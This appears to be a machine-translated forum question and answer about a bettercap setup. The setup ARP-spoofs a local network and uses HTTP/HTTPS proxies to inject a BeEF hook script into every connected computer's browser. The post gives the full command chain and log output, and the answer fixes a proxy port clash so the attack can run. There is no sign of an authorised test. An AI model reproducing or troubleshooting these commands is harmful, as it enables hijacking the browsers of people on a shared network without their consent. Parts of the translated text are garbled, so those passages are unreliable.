无论我尝试使用哪个端口,我都会不断收到错误消息:
监听tcp 0.0.0.0:PORT_NUMBER:绑定:地址已被使用
sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap
set http.proxy.script beef-inject.js
set http.proxy.port 8011
set https.proxy.port 8011
http.proxy on
https.proxy on
sleep 1
arp.spoof on
我正在尝试将一些js注入连接到路由器的每台计算机的浏览器中。除了看到一条消息,表明牛肉注射已成功注射
击中我的IP地址时停止。输出如下:
[13:26:41] [sys.log] [inf] http.proxy从0.0.0.0:8011开始(已禁用sslstrip)
[13:26:41] [sys.log] [inf]从/var/root/.bettercap-ca.key.pem加载代理证书颁发机构TLS密钥
[13:26:41] [sys.log] [inf]从/var/root/.bettercap-ca.cert.pem加载代理证书颁发机构TLS证书
[13:26:41] [sys.log] [inf]启用转发。
[13:26:41] [sys.log] [inf] https.proxy从0.0.0.0:8011开始(已禁用sslstrip)
[13:26:41] [sys.log] [!!!]监听tcp 0.0.0.0:8011:bind:地址已在使用中
将两个端口更改为不同将停止该错误,但是该错误仍未向浏览器注入任何内容。我一直进入控制台的只是:
好的,所以我更改了它,并且不再收到该错误,但是,它仍然没有在浏览器中注入任何JS。我只是不断获得新的和丢失的端点,像这样:
0.0.0.0/24 > 0.0.0.0 » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
0.0.0.0/24 > 0.0.0.0 » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.
...。然后它会不断在相同的消息中打勾,即new> lost> new> lost
有什么想法吗?
答案 0 :(得分:1)
set http.proxy.port 8011
set https.proxy.port 8011
这些端口设置为同一端口,这意味着它们都试图在8011上侦听并且相互踩踏。
将其中之一更改为其他端口,错误应消失。
干杯!